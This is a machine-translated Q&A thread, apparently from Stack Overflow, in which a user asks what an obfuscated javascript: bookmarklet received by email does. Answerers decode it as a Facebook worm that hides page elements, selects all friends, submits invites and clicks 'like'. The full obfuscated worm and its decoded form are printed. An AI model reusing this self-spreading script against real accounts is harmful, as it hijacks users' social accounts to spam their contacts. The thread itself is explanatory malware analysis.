2010-05-24 35 views
7

好吧,偶然碰巧是我的好朋友的人最近给我发送了一些奇怪的电子邮件,其中一个是一个链接到一个页面,要求您将它复制并粘贴到您的地址栏中浏览器然后执行它...这段代码有什么作用

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

并不完全与它是当它涉及到底层编程我很好奇,什么电子邮件,询问在这里...

请不要运行此除非你很高兴,它不会破坏任何东西。

但是...有人能告诉我它做了什么吗?

+0

只是这个蠕虫的一个变种:http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit – 2010-05-24 11:34:21

回答

11

我还没有完全解码代码,但这里有几点提示。

变量_0xc100定义了一个字符串数组。该字符被编码为十六进制,因此读取它们更加困难。所以,例如,\ x76等于“v”。

您可以放心地alert(_0xc100);以纯文本形式查看。

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

转化为包含数组这些关键字

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

现在,下面的语句(不要执行那些)使用这些关键字来实际执行的功能。

例如:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

相当于(d定义为documentmw在顶部被定义)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

其中隐藏一个元件称为app125879300771588_mwrapper

以下说明书给

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

其副本app125879300771588_jop内容到app125879300771588_jode

document.getElementById("suggest").click(); 

我猜点击一些 “建议” 按钮。

最后,设置3个的setTimeout功能5秒(5000)

后执行3个命令他们转化为

setTimeout(function() { 
    select_all(); 
    }, 5000); 

我以为选择你所有的朋友...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

...把​​他们邀请

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

...并按下一个按钮一样

请注意,我不使用Facebook,而我不知道的插件和它的出局,但我想这是很清楚,这个代码是恶意的。

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

这很可能是许多Facebook蠕虫之一的自适应发送给所有的朋友。

Looke here对于类似的问题。

的这个其它版本使用p.a.c.k.e.r混淆,而这些可以很容易地通过运行p.a.c.k.e.r代码通过http://jsbeautifier.org/

4

这是一个obfuscatedbookmarklet被模糊化。您可以将其精简(仔细地)以查看它将运行的实际Javascript。如果你没有强大的需求,但可能不值得打扰。我会把它和我的朋友一起检查一下,看看它是否真的来自他/她,如果是的话,为什么。

+0

我有一个朋友看着这个(并在一台机器上运行它,我们没有关心) 原来这只是一个链接: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War 2010-05-24 11:06:28

+0

我熟悉obfustication ...我可以用什么工具来做这种事情......会为一些有趣的游戏/挑战做出贡献。 – War 2010-05-24 11:07:51

+1

*“我有一个朋友......在一台我们不关心的机器上运行它......原来它只是一个链接......”*真的吗?因为对SocialGraphManager的引用对我来说看起来相当可疑。请参阅:http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit – 2010-05-24 11:31:41